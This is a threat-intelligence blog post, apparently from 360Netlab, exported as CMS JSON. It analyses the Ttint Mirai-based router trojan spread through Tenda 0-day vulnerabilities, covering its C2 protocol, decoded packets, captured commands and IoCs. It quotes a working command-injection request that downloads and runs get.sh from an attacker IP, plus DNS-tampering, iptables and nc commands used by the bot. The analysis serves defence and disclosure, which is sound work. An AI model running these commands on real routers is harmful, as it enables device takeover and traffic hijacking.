{"version":"0.3.1","atoms":[],"cards":[["markdown",{"markdown":"*Author: [Lingming Tu](https://twitter.com/IUnKnow84503351), [Yanlong Ma](https://twitter.com/_O_owl),  [Genshen Ye](https://twitter.com/zom3y3)*\n\n### Background introduction\nStarting from November 2019, 360Netlab Anglerfish system have successively monitored attacker using two Tenda router 0-day vulnerabilities to spread a Remote Access Trojan (RAT) based on Mirai code.\n\nThe conventional Mirai variants normally focus on DDoS, but this variant is different. In addition to DDoS attacks, it implements 12 remote access functions such as Socket5 proxy for router devices, tampering with router DNS, setting iptables, executing custom system commands. \n\nIn addition, at the C2 communication level, it uses the WSS (WebSocket over TLS) protocol. Doing this can circumvent the typical Mirai traffic detection at the traffic level, and it also provides secure encrypted communication for C2.\n\nAbout the infrastructure, the attacker first used a Google cloud service IP, and then switched to a hosting provider in Hong Kong.  When we looked up the website certificate, sample, domain name and IP in our DNSmon system Later, we were able to see more infrastructure IPs, samples, and more C2 domain names.\n\nTwo zero days, 12 remote access functions for the router, encrypted traffic protocol, and infrastructure IP that that moves around. This botnet does not seem to be a very typical player.\n\nWe named this botnet Ttint.\n\n### 0-day vulnerability attack\nOn November 9, 2019, we detected that the attacker used the first Tenda router 0-day vulnerability (CVE-2018-14558 & CVE-2020-10987) to spread Ttint samples. It is worth noting that this vulnerability was not disclosed until July 10, 2020[[1\\]](https://blog.securityevaluators.com/tenda-ac1900-vulnerabilities-discovered-and-exploited-e8e26aa0bc68).\n```\nGET /goform/setUsbUnload/.js?deviceName=A;cd%20/tmp%3Brm%20get.sh%3Bwget%20http%3A//34.92.139.186%3A5001/bot/get.sh%3Bchmod%20777%20get.sh%3B./get.sh HTTP/1.1\nHost: {target}\nConnection: keep-alive\nAccept-Encoding: gzip, deflate\nAccept: */*\nUser-Agent: python-requests/2.22.0\n```\n\nOn August 21, 2020, we saw the second Tenda router 0-day vulnerability being used to spread Ttint samples.\n\nOn August 28, 2020, we reported the details of the second 0-day vulnerability and the PoC to the router manufacturer Tenda via email, but the manufacturer has not yet responded.\n\n### 0-day vulnerability scope\nWe have found the following Tenda router firmwares were affected via the 360 FirmwareTotal system.\n```\nUS_AC9V1.0BR_V15.03.05.14_multi_TD01\nUS_AC9V1.0BR_V15.03.05.16_multi_TRU01\nUS_AC9V1.0BR_V15.03.2.10_multi_TD01\nUS_AC9V1.0BR_V15.03.2.13_multi_TD01\nUS_AC9V1.0BR_V15.03.2.13_multi_TDE01\nUS_AC9V3.0RTL_V15.03.06.42_multi_TD01\nUS_AC10UV1.0RTL_V15.03.06.48_multi_TDE01\nUS_AC15V1.0BR_V15.03.05.18_multi_TD01\nUS_AC15V1.0BR_V15.03.05.19_multi_TD01\nUS_AC15V1.0BR_V15.03.1.8_EN_TDEUS\nUS_AC15V1.0BR_V15.03.1.10_EN_TDC+TDEUS\nUS_AC15V1.0BR_V15.03.1.10_EN_TDCTDEUS\nUS_AC15V1.0BR_V15.03.1.12_multi_TD01\nUS_AC15V1.0BR_V15.03.1.16_multi_TD01\nUS_AC15V1.0BR_V15.03.1.17_multi_TD01\nUS_AC18V1.0BR_V15.03.05.05_multi_TD01\nUS_AC18V1.0BR_V15.03.3.6_multi_TD01\nUS_AC18V1.0BR_V15.03.3.10_multi_TD01\nac9_kf_V15.03.05.19(6318_)_cn\nac18_kf_V15.03.05.19(6318_)_cn\n```\n\nWe also looked up in the 360 Quake cyberspace surveying and mapping system, and the following is a result.\n<a href=\"__GHOST_URL__/content/images/2020/09/stats1.png\"><img src=\"__GHOST_URL__/content/images/2020/09/stats1.png\" class=\"kg-image\"/></a>\n\n### Ttint overview\nTtint is a remote access Trojan based on Mirai code for router devices. In addition to multiplexing 10 Mirai DDoS attack instructions, it also implements 12 control instructions.\n\nWe analyzed and compared Ttint samples in the two periods and found that their C2 instructions were exactly the same, but they had some differences in the 0-day vulnerability, XOR Key, and C2 protocol used.\n<a href=\"__GHOST_URL__/content/images/2020/09/ttint_version.png\"><img src=\"__GHOST_URL__/content/images/2020/09/ttint_version.png\" class=\"kg-image\"/></a>\n\n### Reverse analysis\nGenerally speaking, at the host level, Ttint's behavior is relatively simple. When running, it deletes its own files, manipulates the watchdog, and prevents the device from restarting, it runs as a single instance by binding the port; then modifies the process name to confuse the user; it finally establishes a connection with the decrypted C2 , Reporting device information, waiting for C2 to issue instructions, and execute corresponding attacks or custom functions.\n\nWe can see that it retains a large number of mirai features, such as single instance, random process name, sensitive configuration information encryption, integration of a large number of attack vectors, etc.; \n\nThere are changes though, most notable, it rewrites the network communication part to use websocket protocol . \n\nLet’s take a look at some of the custom functions.\n<a href=\"__GHOST_URL__/content/images/2020/11/ttint_enfinalvector.jpg\"><img src=\"__GHOST_URL__/content/images/2020/11/ttint_enfinalvector.jpg\" class=\"kg-image\"/></a>\n#### Ttint v2 sample analysis\nMD5:73ffd45ab46415b41831faee138f306e\nELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, stripped\nLib:uclib\n\n\n#### Socket5 proxy\nBy binding the specific port issued by C2 to enable Socket5 proxy service. The attacker can remotely access the router's intranet, doing intranet roaming.\n<a href=\"__GHOST_URL__/content/images/2020/09/wschat_proxy.PNG\"><img src=\"__GHOST_URL__/content/images/2020/09/wschat_proxy.PNG\" class=\"kg-image\"/></a>\n\n#### Tampering with router DNS\nTamper the router DNS by modifying the resolv.conf file,\n```\necho nameserver \"DNS server\" > /etc/etc/resolv.conf\n```\nThe result of this is that the author of Ttint can hijack any network access of users under the affected routing device to possibly monitor or steal sensitive information.\n\n#### Config iptables\nBy setting iptables up, traffic forwarding and target address conversion can be easily achieved. .The following config is to expose the internal network services to the public network.\n```\niptables -t nat -A PREROUTING -d \"\" -p tcp --dport \"\" -j DNAT --to-destination \"\"\niptables -t nat -A POSTROUTING -d \"\" -p tcp --dport \"\" -j SNAT \"\"\niptables -A FORWARD -d -j ACCEPT\n```\n\n#### Reverse shell\nBy implementing a reverse shell through socket, the author of Ttint can operate the shell of the affected routing device as a local shell.\n<a href=\"__GHOST_URL__/content/images/2020/09/wschat_revshell.PNG\"><img src=\"__GHOST_URL__/content/images/2020/09/wschat_revshell.PNG\" class=\"kg-image\"/></a>\n\n#### Self-upgrade\nThe bot can download corresponding CPU architecture from the specified Download URL (default is ```uhyg8v.notepod2.com:5001```) to update itself.\n<a href=\"__GHOST_URL__/content/images/2020/09/wschat_update.PNG\"><img src=\"__GHOST_URL__/content/images/2020/09/wschat_update.PNG\" class=\"kg-image\"/></a>\n\n#### Self-exit\nTtint implements a single instance by binding port 57322, by killing the process using this port, it can exit itself.\n<a href=\"__GHOST_URL__/content/images/2020/09/wschat_kill.PNG\"><img src=\"__GHOST_URL__/content/images/2020/09/wschat_kill.PNG\" class=\"kg-image\"/></a>\n\n#### Hidden network channel\nBy using the nc tool to monitor a specific port issued by C2, communication between the Ttint author and the affected routing device can be established. (The meaning of the -d parameter is \"Detach from stdin\", so we speculate that there is a redirection instruction after PORT)\n```\nnc -d -l \"PORT\" \"some redirect cmd\"\n```\n\n#### Report device information\nReport the time, os, cpu, ip, version, and mac information of the device to C2, but there is a bug in the format string in the sample, and an \"&\" character is missing in the ```type=back_infoatk_id=%s&time=&os=```\n\n#### Execute system commands\nExecute custom system commands issued by C2 through popen function\n <a href=\"__GHOST_URL__/content/images/2020/09/wschat_runcmd.PNG\"><img src=\"__GHOST_URL__/content/images/2020/09/wschat_runcmd.PNG\" class=\"kg-image\"/></a>\n\n### C2 protocol analysis\nThe C2 information of the Ttint Bot sample is encrypted and stored in the configuration information table in the Mirai format. The XOR Key is ```0x0EDFCEBDA```\n\n```\nc2 ciphertxt:\n51 19 55 56 56 45 59 50 49 62 0E 4E 4F 54 45 50 4F 44 12 0E 43 4F 4D 20\nc2 plaintxt:\nq9uvveypiB.notepod2.com\n```\n\nWhen the bot is running, it decrypts to obtain the C2 address ```ws:q9uvveypiB.notepod2.com:443```, and then communicates with C2 securely through the WebSocket over TLS protocol.\n<a href=\"__GHOST_URL__/content/images/2020/08/wschat_socket.PNG\"><img src=\"__GHOST_URL__/content/images/2020/08/wschat_socket.PNG\" class=\"kg-image\"/></a>\n\n###### WebSocket protocol\nWhen Ttint C2 replies to the Bot with a response code of 101, it means that the protocol handshake is completed, and then the Bot can communicate using the WebSocket protocol. The following is an example of a WebSocket packet after TLS decryption.\n<a href=\"__GHOST_URL__/content/images/2020/09/websocket.png\"><img src=\"__GHOST_URL__/content/images/2020/09/websocket.png\" class=\"kg-image\"/></a>\n\n###### Bot's “go live” packet\nAccording to the WebSocket protocol, we know that the payload length is 0x81, the mask is 0xD5F39E67, and the payload data address is 0x08~0x88.\n```\n00000000: 81 FE 00 81 D5 F3 9E 67  A1 8A EE 02 E8 91 FF 04  .......g........\n00000010: BE AC F7 09 B3 9C B8 06  A1 98 C1 0E B1 CE AE 41  ...............A\n00000020: A1 9A F3 02 E8 D5 F1 14  E8 BF F7 09 A0 8B BE 53  ...............S\n00000030: FB C2 AB 49 E5 DE AA 55  F8 94 FB 09 B0 81 F7 04  ...I...U........\n00000040: F3 90 EE 12 E8 9A A8 5F  E3 D5 F7 17 E8 C2 A7 55  ......._.......U\n00000050: FB C2 A8 5F FB C1 AC 55  FB C2 AC 5F F3 85 FB 15  ..._...U..._....\n00000060: A6 9A F1 09 E8 C6 FD 02  E5 91 A9 04 E7 D5 FF 15  ................\n00000070: B2 80 A3 41 B8 92 FD 5A  E5 C3 A4 57 B6 C9 AC 5E  ...A...Z...W...^\n00000080: EF C4 F8 5D E7 C7 A4 5E  E7           \n```\n\nPerform XOR calculation on Payload Data with mask, and get the payload in plain text, which is exactly the Bot's “go live” packet.\n```\n00000000  74 79 70 65 3d 62 61 63 6b 5f 69 6e 66 6f 26 61  |type=back_info&a|\n00000010  74 6b 5f 69 64 3d 30 26 74 69 6d 65 3d 26 6f 73  |tk_id=0&time=&os|\n00000020  3d 4c 69 6e 75 78 20 34 2e 31 35 2e 30 2d 34 32  |=Linux 4.15.0-42|\n00000030  2d 67 65 6e 65 72 69 63 26 63 70 75 3d 69 36 38  |-generic&cpu=i68|\n00000040  36 26 69 70 3d 31 39 32 2e 31 36 38 2e 32 32 32  |6&ip=192.168.222|\n00000050  2e 31 32 38 26 76 65 72 73 69 6f 6e 3d 35 63 65  |.128&version=5ce|\n00000060  30 62 37 63 32 26 61 72 67 73 3d 26 6d 61 63 3d  |0b7c2&args=&mac=|\n00000070  30 30 3a 30 63 3a 32 39 3a 37 66 3a 32 34 3a 39  |00:0c:29:7f:24:9|\n00000080  32      \n```\n\n###### C2 instruction\nAll together, Ttint Bot supports 22 kinds of C2 commands, the 10 DDoS commands are from Mirai , and the rest 12 are new.\n| id | instruction             |\n| ------ | ------------------ |\n| 0      | attack_udp_generic         |\n| 1      | attack_udp_vse         |\n| 2      | attack_udp_dns  |\n| 9      | attack_udp_plain      |\n| 3      | attack_tcp_flag       |\n| 4      | attack_tcp_pack       |\n| 5      | attack_tcp_xmas   |\n| 6      | attack_grep_ip       |\n| 7      | attack_grep_eth    |\n| 10      | attack_app_http     |\n| 12      | run \"nc\" command         |\n| 13      |run \"ls\" command        |\n| 15      | Execute system commands  |\n| 16      | Tampering with router DNS     |\n| 18      | Report device information       |\n| 14      | Config iptables       |\n| 11      | run \"ifconfig\" command   |\n| 17      | Self-exit       |\n| 19      | Open Socks5 proxy     |\n| 20      | Close Socks5 proxy      |\n| 21      | Self-upgrade             |\n| 22      | Reverse shell      |\n\n###### C2 command format analysis\nWe captured the following commands the C2 sent to the bots.\n```\n00000000: 00 55 00 00 00 0A 0F 01  00 00 00 00 20 02 1A 13  .U.......... ...\n00000010: 70 70 2D 6C 4F 76 32 78  39 6E 31 33 58 73 5A 30  pp-lOv2x9n13XsZ0\n00000020: 77 76 44 1B 30 69 70 74  61 62 6C 65 73 20 2D 44  wvD.0iptables -D\n00000030: 20 49 4E 50 55 54 20 2D  70 20 74 63 70 20 2D 2D   INPUT -p tcp --\n00000040: 64 70 6F 72 74 20 35 32  36 38 35 20 2D 6A 20 41  dport 52685 -j A\n00000050: 43 43 45 50 54                                    CCEPT\n```\n\nThe following is a breakdown for the format\n```\n00 55   ---- \tmsg length\n0F\t----\tcmd id, here is \"run system cmd\"\n02\t---- \toption number\n1A\t----\toption type, here is \"attack id\"\n13\t----\toption length, length of \"pp-lOv2x9n13XsZ0wvD\" = 0x13\n1B\t----\toption type, here is \"attack cmd buf\"\n30\t----\toption length\n```\nGenerally speaking, Ttint will combine multiple custom functions to achieve specific attack goals.\n\nTake the two adjacent commands we captured, the first command is\n```iptables -I INPUT -p tcp --dport 51599 -j ACCEPT```, to allow access to port 51599 of the affected device.\n\n```\n00000000: 82 55 00 55 00 00 00 0A  0F 01 00 00 00 00 20 02  .U.U.......... .\n00000010: 1A 13 70 70 2D 51 77 76  73 59 59 45 45 4D 70 36  ..pp-QwvsYYEEMp6\n00000020: 77 49 31 62 43 1B 30 69  70 74 61 62 6C 65 73 20  wI1bC.0iptables \n00000030: 2D 49 20 49 4E 50 55 54  20 2D 70 20 74 63 70 20  -I INPUT -p tcp \n00000040: 2D 2D 64 70 6F 72 74 20  35 31 35 39 39 20 2D 6A  --dport 51599 -j\n00000050: 20 41 43 43 45 50 54                               ACCEPT\n```\nThe next command is to enable the Socket5 proxy function on port 51599 of the affected device.\n```\n00000000: 82 3C 00 3C 00 00 00 0A  13 01 00 00 00 00 20 04  .<.<.......... .\n00000010: 1C 05 35 31 35 39 39 1D  06 61 6D 68 78 65 66 1E  ..51599..amhxef.\n00000020: 08 64 40 61 59 79 31 39  52 1A 13 70 70 2D 30 58  .d@aYy19R..pp-0X\n00000030: 74 79 73 61 33 79 58 4D  51 59 6E 6C 41 72        tysa3yXMQYnlAr\n```\n\nThe combination of the two commands enabled and allowed the attacker to use the Socket5 proxy.\n\n### Recommendations\nWe recommend that Tenda router users check their firmware and make necessary update.\n\nWe also recommend that our readers monitor and block related IoCs.\n\n### Contact us\nInterested readers can contact us on [**twitter**](https://twitter.com/360Netlab) or via email **netlab[at]360.cn** .\n\n\n### IoC\nIP:\n```\n34.92.85.21         \tHong Kong           \tASN15169            \tGOOGLE\n34.92.139.186       \tHong Kong           \tASN15169            \tGOOGLE              \n43.249.29.56        \tHong Kong           \tASN133115           \tHK Kwaifong Group Limited\n45.249.92.60        \tHong Kong             \tASN133115           \tHK Kwaifong Group Limited\n45.249.92.72        \tHong Kong              \tASN133115           \tHK Kwaifong Group Limited\n103.60.220.48       \tHong Kong           \tASN133115           \tHK Kwaifong Group Limited\n103.108.142.92      \tHong Kong           \tASN133115           \tHK Kwaifong Group Limited\n103.243.183.248     \tHong Kong           \tASN133115           \tHK Kwaifong Group Limited\n```\n\nC2:\n```\ncnc.notepod2.com:23231\nback.notepod2.com:80\nq9uvveypiB.notepod2.com:443\n```\n\nUpdate Server:\n```\nuhyg8v.notepod2.com:5001\n```\n\nURL:\n```\nhttp://45.112.205.60/td.sh\nhttp://45.112.205.60/ttint.i686\nhttp://45.112.205.60/ttint.arm5el\nhttp://45.112.205.60/ttint.mipsel\nhttp://34.92.139.186:5001/bot/get.sh\nhttp://34.92.139.186:5001/bot/ttint.mipsel\nhttp://34.92.139.186:5001/bot/ttint.x86_64\n```\n\nMD5:\n```\n3e6a16bcf7a9e9e0be25ae28551150f5\n4ee942a0153ed74eb9a98f7ad321ec97\n6bff8b6fd606e795385b84437d1e1e0a\n733f71eb6cfca905e8904d0fb785fb43\na89cefdf71f2fced35fba8612ad07174\nc5cb2b438ba6d809f1f71c776376d293\ncfc0f745941ce1ec024cb86b1fd244f3\n73ffd45ab46415b41831faee138f306e\n```\n"}]],"markups":[],"sections":[[10,0],[1,"p",[]]],"ghostVersion":"3.0"}